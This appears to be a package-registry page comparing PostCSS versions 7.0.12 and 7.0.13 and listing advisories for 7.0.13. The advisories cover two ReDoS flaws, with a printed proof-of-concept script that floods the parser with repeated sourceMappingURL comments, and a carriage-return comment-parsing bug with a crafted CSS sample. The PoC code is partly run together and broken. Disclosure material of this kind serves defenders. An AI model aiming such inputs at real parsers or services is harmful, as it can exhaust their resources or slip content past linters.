PostCSS version 7.0.13 represents a subtle but potentially important update over its predecessor, version 7.0.12. Both versions serve as tools for transforming styles with JavaScript plugins, offering developers the ability to manipulate CSS with powerful and customizable transformations. The core functionality remains consistent between the two, indicated by the shared dependencies on packages like chalk for terminal styling, source-map for debugging, and supports-color for color support detection. The licensing, repository details, and author information also remain identical, signifying continuity in the project's governance and origin.
A key difference lies in the dist object. While both have the same fileCount of 35, the unpackedSize sees a minor increase from 599152 bytes in version 7.0.12 to 599342 bytes in version 7.0.13. This suggests that the update might include small bug fixes, performance improvements, or minor feature enhancements. Also, the release date differs, with version 7.0.13 being released on January 15, 2019, at 18:09:42.419Z, later than version 7.0.12 released on the same day at 16:33:38.802Z. For developers, while the changes aren't drastic, upgrading to 7.0.13 is generally recommended to benefit from the latest refinements and potential stability improvements within the PostCSS ecosystem.
All the vulnerabilities related to the version 7.0.13 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss
from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.